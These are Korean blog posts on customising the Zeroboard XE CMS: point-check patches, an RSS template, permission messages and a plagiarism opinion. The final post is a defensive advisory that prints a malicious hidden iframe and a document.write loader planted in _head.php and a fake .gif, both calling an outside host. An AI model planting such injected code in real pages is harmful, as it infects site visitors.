modules/editor/skins/default 업데이트
modules/editor/tpl/images 업데이트
modules/editor/editor.controller.php 업데이트
modules/editor/editor.model.php 업데이트
modules/file/file.controller.php 업데이트
modules/file/file.admin.view.php 업데이트
modules/file/file.model.php 업데이트
file.model.php 수정
80 //if($module_srl) $file_config = $oModuleModel->getModulePartConfig('file',$module_srl);
Posted by Parker Falcon

댓글을 달아주세요

제로보드 XE 1.0.6 에는 포인트 기능에서 조그마한 문제가 있습니다.

글을 작성할 떄 포인트가 줄어드는 게시판에, 포인트가 부족한 상태에서도 글을 작성할 수 있다는 사실.

좀 귀찮은 문제이어서 바로 수정하였습니다.

modules/board/board.view.php 입니다.

약 263줄 부터입니다.

         /**
         * @brief 글 작성 화면 출력
         **/
        function dispBoardWrite() {
            // 권한 체크
            if(!$this->grant->write_document) return $this->dispBoardMessage('msg_not_permitted');

            // check point
            if(Context::get('is_logged')) {
                $logged_info = Context::get('logged_info');
                $oPointModel = &getModel('point');
                $current_point = $oPointModel->getPoint($logged_info->member_srl);
                $oModuleModel = &getModel('module');
                $point_config = $oModuleModel->getModuleConfig('point');
                $module_srl = Context::get('module_srl');
                $current_module_point = ($point_config->module_point[$module_srl]['insert_document']? $point_config->module_point[$module_srl]['insert_document'] : $point_config->insert_document);
                if ($current_point + $current_module_point < 0) return $this->dispBoardMessage('msg_not_enough_point');
                debugPrint ('cur = '.$current_point.' mod = '.$current_module_point );
            }


            $oDocumentModel = &getModel('document');

아 그리고 $lang->msg_not_enough_point 라는 메시지는 적당히 추가해주면 됩니다.

"포인트가 부족합니다" 정도는 어떨까요?

2009년 1월 8일 추가 :

1.1.1 에서 제대로 작동하지 않아서 http://quota.tistory.com/129 에 업데이트 하였습니다.
Posted by Parker Falcon

댓글을 달아주세요

  1. 뚱^^
    2009.01.08 07:33
    댓글 주소 수정/삭제 댓글
    안녕하세요. 도움을 구하고자 합니다.
    조회시 포인트가 없거나 부족할때도 조회가 되는데 안되게 할 수 있는 방법이 없을까요?
    답변 주신다면 정말 고맙겠습니다.
    • 2009.01.08 11:18 신고
      댓글 주소 수정/삭제
      제가 작성해서 올려놓은 코드는
      dispBoardWrite - 게시물 작성
      할 때 점수를 미리 확인하는 코드입니다.

      해당 코드를 글을 읽는 부분의 함수에 넣어서
      글을 읽기 전에 점수를 확인하게 하시면 됩니다.
      해당 함수는
      function dispBoardContent()
      입니다 :)
  2. 2009.01.09 09:31
    댓글 주소 수정/삭제 댓글
    감사합니다. 한번 해보고 안되면 도움 부탁합니다..*^^*

잠 안와서 몇 시간 밤 새다가 만들었네요 ㅠㅠ

다시는 이런짓 안해야지 ㅠㅠ

설치 방법 - 그냥 풀어서, 덮어씌우시거나 알아서 폴어 옮기시거나... 이전 자료 날라갔다고 저에게 뭐라하셔도 소용없습니다.

저번에 zip 안올려서 곤란하신 분들 생각에 이번에는 두 버전 같이 올립니다...

point-log3.zip point-log3.tar.bz2


이용 방법


조금 더 고치기

알려진 문제점


추가 - 0.2 버전에 몇 가지 사소한 수정하여 0.2.1 올렸습니다.
= 이전에 debugPrint로 사용하던 소스가 일부 남아서 없에고 올렸습니다.
= 관리자가 임의로 포인트를 정해 줄 경우 메시지로 기록이 남습니다.
= 관리자 메뉴에서 검색 후 이동할 때 검색 쿼리가 따라다니는 문제점을 해결하였습니다.
= 글 쓰기 과정에서 점수 변화량을 제대로 출력하지 못한 문제를 해결하였습니다.
Posted by Parker Falcon

댓글을 달아주세요

  1. NXT
    2014.03.21 12:03
    댓글 주소 수정/삭제 댓글
    파일공유가능하신가요? ㅜㅜ

제로보드 XE 에서는 권한이 없는 행동을 할 경우,

정말 말 그대로 '권한이 없습니다' 라는 메시지를 띄웁니다.

물론 논리적인 문제가 있는 메시지는 아니지만,

사람들에게 너무 딱딱하고, 또한 권한에 따라서 메시지를 다르게 하고 싶은 경우가 있습니다.

이런 경우 이렇게 해보세요.


Posted by Parker Falcon

댓글을 달아주세요

  1. 조현우
    2009.01.16 15:20
    댓글 주소 수정/삭제 댓글
    안녕하세요. 좋은팁감사합니다. 그동안 이팁을 잘사용하다가, 이번에 XE 1.1.4로 업데이트하고 이 팁을 적용하니까, 아래와 같은 에러가 뜨네요. 어떻게 하면 좋을까요?

    감사합니다.

    에러의 몇줄을 적으면,
    Warning: in_array() [function.in-array]: Wrong datatype for second argument in /home1/xxxxxx/public_html/modules/board/board.view.php on line 175

    Warning: in_array() [function.in-array]: Wrong datatype for second argument in /home1/xxxxxxx/public_html/modules/board/board.view.php on line 177

    Warning: in_array() [function.in-array]: Wrong datatype for second argument in /home1/xxxxxxx/public_html/modules/board/board.view.php on line 179

    Warning: Cannot modify header information - headers already sent by (output started at /home1/xxxxxxx/public_html/modules/board/board.view.php:175) in /home1/xxxxxx/public_html/classes/display/DisplayHandler.class.php on line 291

    이런식으로 에러가 나면서 권한 메세지 팝업이 뜨네요.
    • 2009.01.17 14:13 신고
      댓글 주소 수정/삭제
      답변을 드리고 싶지만, 해당하는 175, 177, 179 줄이 어디인지 모르겠습니다. 해당 부근의 소스를 알려주시면 답변에 도움이 되겠습니다 :)
  2. 조현우
    2009.01.17 14:21
    댓글 주소 수정/삭제 댓글
    앗, 죄송합니다. 아래와 같습니다.

    if(!$this->grant->view && !$oDocument->isGranted()) {
    $oDocument = null;
    $oDocument = $oDocumentModel->getDocument(0);
    Context::set('document_srl','',true);

    line: 175 if (in_array('3',$grants['view'])) //그룹3에게 보기 권한이 있을 때
    $this->alertMessage('msg_not_permitted_member3');
    elseif (in_array('2',$grants['view'])) //그룹2에게 보기 권한이 있을 때
    $this->alertMessage('msg_not_permitted_member2');
    elseif (in_array('1',$grants['view'])) // 그룹1에게 보기 권한이 있을 때
    $this->alertMessage('msg_not_permitted_member1');
    else
    $this->alertMessage('msg_not_permitted');

    } else {
    // 브라우저 타이틀에 글의 제목을 추가
    Context::addBrowserTitle($oDocument->getTitleText());
    • 2009.01.17 15:16 신고
      댓글 주소 수정/삭제
      ModuelObject 파일에

      // 권한값을알기위한설정
      Context::set('grants', $this->module_info->grants);

      이 부분이 있는지,

      board.view.php 파일에 입력하신 부분의 해당 함수 앞부분에

      $grants = Context::get('grants');

      이 부분이 있는지
      확인해주세요 :)
  3. 조현우
    2009.01.17 15:34
    댓글 주소 수정/삭제 댓글
    다있네요. ^^
    제로보드홈에 남기신 팁대로 파일들을 수정했습니다.
    음... 제가 몰 잘못 건드렸을까요..

제로보드 XE 에서 개인적으로 생각할 때 부족한 기능 중 하나인 다중 언어 모듈이 일단 완성되었다.

하는 일이라고는, 현재 설정된 언어에 따라서 해당하는 주소로 redirect하는 일이기는 하지만,

여러 언어를 위한 페이지를 위해서 언어별로 레이아웃이나 메뉴을 똑같이 여러개 만들 필요성은 없어졌다.

다만 아직은 테스트 단계이고, release 는 아직 계획에는 없다.

아무튼 잘 작동해서 다행이고, 조금 더 user-friendly 하게 만들어야지.

샘플 사진 하나

사용자 삽입 이미지

동영상은?


Posted by Parker Falcon

댓글을 달아주세요

  1. 망치
    2008.10.07 13:20
    댓글 주소 수정/삭제 댓글
    빨리...공개해주세요....예~~~
    기대...중..
  2. 2008.10.10 05:48
    댓글 주소 수정/삭제 댓글
    안녕하세요.
    고생이 많으십니다 ^^
    저도 기대가 많이 됩니다.
    지비공식사이트에 아이디어를 제안했지만, 만들고 계시는데 도움이 될랑가 모르겠지만.
    1. 게시글 쓰기를 하면 한국어, 영어.. 그외 언어의 통합 에디터가 뜨고, 한글 담당자는 한글내용을 쓰고, 저장하면 나중에 다른 언어 담당자가 그 게시글을 열어서 그 언어의 내용을 쓰고 저장합니다.
    2. 방문자가 언어선택을 하면 그 언어에 맞는 내용과 메뉴가 나타 납니다.

    게시판이 아니라, 페이지도 같은 기능이 있으면 좋을거 같습니다. 첨부화일들도 그 언어에 맞게 등등...
    어떨까요?

    화이팅!

현재 서버에 등록된 파일을 크기순으로 출력하는 위젯입니다.

사용자 삽입 이미지


라이선스는 GPL
코드에 대한 저작권은 따로?

http://www.zeroboard.com/17336097
Posted by Parker Falcon

댓글을 달아주세요

메뉴 모듈의 기능을 몇 가지 추가하였습니다.

사용자 삽입 이미지

아래에 붉은색 테두리를 친 부분인데요, 활용 방법은 아래와 같습니다.
사용자 삽입 이미지
이렇게 하나의 메뉴 아이템으로 서브메뉴 이미지까지 처리할 수 있게 변경하였습니다.

원본 소스가 GPL이고, 이 개작도 GPL입니다.

http://www.zeroboard.com/17320295
Posted by Parker Falcon

댓글을 달아주세요

  1. 김기수
    2011.04.06 11:22
    댓글 주소 수정/삭제 댓글
    menu를 module에 기존 것을 없애고 대신 올리니 관리자 모드에서 "메뉴" 모듈 표시가 나타나지 않네요
    바법 좀 알려 주세요 kskim88@paran.com

./modules/rss/tpl 에 rss20.html 을 아래와 같이 바꿉니다.
(1.0.4 기준)

다만 작동 여부는 장담 못해요.

{'<?xml version="1.0" encoding="utf-8"  standalone="yes"?>'}

<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:media="http://search.yahoo.com/mrss" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title><![CDATA[{$info->title}]]></title>
<link><![CDATA[{$info->link}]]></link>
<description><![CDATA[{$info->description}]]></description>
<language>{$info->language}</language>
<pubDate>{$info->date}</pubDate>
<totalCount>{$info->total_count}</totalCount>
<!--@foreach($document_list as $oDocument)-->
<!--@foreach($oDocument->getUploadedFiles() as $key => $UploadedFiles)-->
<item>
<title><![CDATA[{$oDocument->getTitleText()}]]></title>
<author><![CDATA[{$oDocument->getNickName()}]]></author>
<link><![CDATA[{$oDocument->getPermanentUrl()}]]></link>
<!--@if($oDocument->thumbnailExists())-->
<media:thumbnail url="{$UploadedFiles->download_url}"/>
<media:content url="{$UploadedFiles->download_url}"/>
<!--@end-->
<!--@if($mid_list[$oDocument->get('module_srl')]->open_rss=='Y')-->
<description><![CDATA[{$oDocument->getContent(false,false,true)}]]></description>
<!--@else-->
<description><![CDATA[{$oDocument->getContentText(100)}]]></description>
<!--@end-->
<pubDate>{$oDocument->getRegdateGM()}</pubDate>
<!--@foreach($oDocument->get('tag_list') as $tag)-->
<category><![CDATA[{$tag}]]></category>
<!--@end-->
</item>
<!--@end-->
<!--@end-->
</channel>
</rss>

'Digital Life' 카테고리의 다른 글

전자기기는 재부팅이 필수!  (0) 2008.08.09
인코딩은 어렵네  (0) 2008.08.01
zbXE에서 Piclens 사용하기  (3) 2008.07.04
워크래프트 1.22 패치 오류  (0) 2008.07.02
많아도 18만건..  (0) 2008.05.20
17년 후 - 지식체널e 에서 사라진 부분.  (0) 2008.05.16
Posted by Parker Falcon

댓글을 달아주세요

  1. jungjinwoo
    2008.08.08 19:00
    댓글 주소 수정/삭제 댓글
    <media:thumbnail url="{$UploadedFiles->download_url}"/>
    <media:content url="{$UploadedFiles->download_url}"/>

    이부분에 좀 질문이 있어서 문의 드립니다.

    미디어 썸네일 부분에 있는 url 을 그대로 사용하면 원본 파일을 읽어오는거잖아요.
    그래서 썸네일 생성하는 애드온이 있어서 그걸 사용하니 "파일명._thumbnail_300_ratio.jpg" 라는
    파일이 생성되는데요 그래서 썸네일 부분에 원본파일 대신 생성된 썸네일 파일명을 사용할려면
    어떻게 코드를 입력해야 하는지 좀 가르쳐 주세요.
    • 2008.08.09 21:22 신고
      댓글 주소 수정/삭제
      앗 thumbnail을 생성하는 addon 프로그램도 있나요? 저는 찾지 못했네요 ^^;
      아무튼 document 객체가 가지고 있는 thumbnail파일을 사용하시려면
      <media:thumbnail url="{$oDocument->getThumbnail($widget_info->thumbnail_width,$widget_info->thumbnail_height,'ratio')}"/>
      로 바꾸시면 됩니다.

      다만 한 문서에 여러개의 그림 파일이 있을 경우는 '잔머리'를 써야됩니다 ㅠㅠ
  2. Jungjinwoo
    2008.08.10 21:16
    댓글 주소 수정/삭제 댓글
    ^^ 되네요.

    근데 문제는 '잔머리'를 써야 하는 부분이라서요 문서하나에 그림 하나가 아니라. ㅎㅎ
    대표 썸네일 하나로 도배되네요. 저는 html도 몰라서.
    파일명 뒤에 "_thumbnail_300_ratio.jpg" 이라는 말만 어떻게 붙이면 될줄 알았는게 그게 아니군요 ㅎㅎ

    어쨋든 답변드려서 감사합니다.

    혹시 해결되면 답변좀 부탁 드릴께요 ^^

인터넷에서 뉴스를 잠시 보다가 기대작 ‘제로보드XE 1.0’ 1년만에 정식출시라는 기사를 보게 되었다.

(링크는 해당 신문사로 바로 연결해 두었지만, 실제로는 네이버상에서 기사를 읽었다.)

개인적으로 관심을 가지고 있던 (좋아하고, 좋아하지 않고와는 다른 문제로) 제로보드XE의

정식 출시라는 소식을 접해 듣고 기사를 읽었다. 그리고 밑에 간단한 답글과 트랙백이 달려있는 것을 확인했다.

흥미로운 트랙백(서명덕기자는 기사를 이런식으로 쓰나?)이 있어서 들어가서 읽어 보았다.

내용을 대충 요약하자면 이런 것이다.
(내가 피곤한 늦은 밤에 쓴 글이기 때문에, 사실을 왜곡 할 가능성이 있으니 정확한 사실을 알고 싶은 사람은 두 사람의 글을 읽고 직접 비교하기 바랍니다.)

  1. [서명덕 기자]님 께서 [댣로그] 블로그에서 [제로보드XE 정식버젼 출시]라는 게시물을 읽었다.
  2. [서명덕 기자]님 께서 [조선일보]에 [기대작 ‘제로보드XE 1.0’ 1년만에 정식출시]라는 기사를 올렸다.
  3. [댣로그 관리자]님 께서 [서명덕 기자]님 께서 작성하신 기사를 읽었다.
  4. [댣로그 관리자]님 께서 자신이 쓴 글과 신문 기사를 비교해 보면서 많은 유사점을 발견했다.
  5. [댣로그 관리자]님 께서 [서명덕 기자의 제로보드 정식출시] 기사는 [자신의 게시물]을 [복사해놓고 단어나 표현만 바꿔놓은것이나 다름없]다고 생각하면서 [서명덕 기자의 기사에 대한 문제 제기] 게시물을 올렸다.
  6. [서명덕 기자]님 께서 [댣로그] 블로그에 가서 [몇 줄은 그대로 쓴 것이 맞고 나머지는 직접 참고한 것은 아니다] 정도의 해명으로 [댓글]을 작성했다.

이 정도가 아닌가 생각합니다.

그리고 그 이후의 경과는 제가 생각하기에는 [댣로그 관리자]님 께서는 [서명덕 기자]님의 해명에 만족 하지 못하고 더 강도 높은 사과를 원하지만 그렇게 되지 않은 것으로 보입니다.

제 생각은 이러합니다.

세상에 글의 종류는 다양합니다만, 객관적 사실에 중요성을 둔 글(예를 들면 과학적 실험 결과의 보고서)이 있고 주관적 의견에 중점을 둔 글(사설, 논평 등)이 있습니다. 만약 지금 이야기 하고자 하는 "글이 매우 유사 하다"라는 문제가 뒤의 글, 즉 주관적인 의견이 중요한 글에서 일어났다면 표절과 같은 논란의 대상이 되는것은 쉽게 생각할 수 있습니다. 하지만 객관적인 사실에 관한 글이라면 조금 다르다고 생각합니다.

경우에 따라서는 약간 달라질 수도 있겟지만, 보통의 경우는 큰 특징에 대해서는 일치합니다. 예를 들어서 DMB와 음악 재생 기능이 있는 예쁜 카메라가 출시 되었을 때, 제품에 대한 설명에는 DMB로 TV를 볼 수 있고, 음악 파일을 넣어서 들을 수 있으며, 디자인이 예쁘다는 이야기가 들어가 있을 것 입니다. 설명 부분은 여러 사람이 쓰더라도 큰 차이는 없을 것 입니다. 물론 특정 분야의 전문가라면 거기에 있는 DMB의 칩에 관한 이야기나 안테나의 전자기학적 구조에 대한 이야기를 쓸 수도 있지만, 많은 사람들에게 제품을 설명 하는 글에 쓸 내용과는 거리가 있습니다.

지금 경우는 좀 전에 설명한 경우와 비슷하다고 보니다. 둘 다 제로보드XE의 1.0출시라는 사실을 두고 이러이러한 일을 할 수 있는 이런 기능과 저런 기능이 있다는 글을 썼습니다. 사실을 쓴 부분에서는 큰 내용은 대부분 일치 합니다. 더군다나 중요한 단어들(RSS나 모듈화 같은)은 겹치지 않기가 힙듭니다. 물론 그러한 내용을 쓰는 부분에서 [댣로그 관리자]님 께서 첫번째로 지적하신 부분은 [서명덕 기자]님 께서 인정하셨으니 더이상 이야기 하지는 않겠습니다. 하지만 그 이외의 부분들( #2 #3 #4 )에 대해서는 [서명덕 기자]님 께서 보고 'copy'했다는 것 보다는 같은 사실을 보고 특징을 같이 본 것이라고 생각합니다. '1년' 이라는 표현 등 다른 겹치는 부분도 애초에 처음 글인 [제로보드의 공지사항]에서 시작된 것이 봅니다.

아무튼 블로그가 인터넷 상에서 자신의 생각등을 남기는 것이고, 생각은 자유롭게 할 수 있지만 불화나 오해가 생기지 않았으면 좋겠습니다.

Posted by Parker Falcon

댓글을 달아주세요

요즘 제로보드4에 대한 중국발 해킹이 늘어나면서
많은 홈페이지가 감염되고, 또한 사용자들도 감염되고 있습니다.


당장의 대책이라면 _head.php에

<iframe width='0' height='0' src='http://d.xin8.info/daipi/css.htm'></iframe>
이것을 제거하시구요.
그리고 images폴더 아래에 admin_info.gif파일이 있는데
이것도 제거하십시요.
파일 내용은
images/admin_info.gif
document.write("<iframe width='0' height='0' src='http://d.xin8.info/daipi/css.htm'></iframe>");

이러합니다.


그리고 이런 작업은 홈페이지 관리자만 할 수 있습니다.

관리자가 할 수 있는 것은 제로보드의 최신 패치를 업데이트 하는 것 입니다.

제가 본 사이트 대부분이 2006년 3월 15일자 패치만을 해 둔 상태인데

http://www.zeroboard.com/zb4_download/803874로 가셔서 2007년 5월 23일짜 보안 패치까지 된 pl8버전을 받으시기 바랍니다.
제로보드에서 업데이트 중에 pl의 숫자를 올리지 않아서
많은 사람들이 업데이트가 없다고 생각한 것인지는 모르겠지만
아무튼 많은 분들께서 더이상의 업데이트를 하지 않으셨습니다.

그리고 일반 사용자분들 께서 하실 수 있는 일은

인터넷 익스플로어를 사용하신다면

도구 - 인터넷 옵션 - 보안 으로 가셔서

제한된 사이트 클릭하시고 목록에 *.xin8.info 를 입력하고 추가하시기 바랍니다.

다른 브라우져 (Firefox, Opera, Safari)를 사용 하시는 분들은 상관 없지만

인터넷 익스플로어 엔진을 사용하는 브라우져를 사용하시는 분들은 똑같이 추가하시기 바랍니다.

아무튼 다들 피해 없으시기 바랍니다 :)
Posted by Parker Falcon

댓글을 달아주세요

  1. 2007.11.02 07:46 신고
    댓글 주소 수정/삭제 댓글
    제로보드에서 새로운 패치가 공개되었습니다.
    http://www.zeroboard.com/zb4_download/803874

    0.1% 더 쉽게 풀어써보았습니다.
    http://quota.tistory.com/10
  2. 2007.11.03 21:06
    댓글 주소 수정/삭제 댓글
    안녕하세요.
    Parker Falcon님, 처음뵙겠습니다.
    올려주신 포스팅 덕분에 도움을 받았습니다..
    그리고 제홈페이지에 링크도 걸었고 해서 인사남기는게 예의같아서 ^^;
    ( http://ggerzer.com/349 )
    트랙백을 쏠까하다가,, 코멘트 남겨요..

    근데, 아무래도 이번 제로보드 해킹의 파장은 일파만파 퍼져나가고 있는것 같아요.
    저도 아직까진 큰 피해를 입진않았지만, 당분간은 계속 불안한 상태가 지속될것같아요.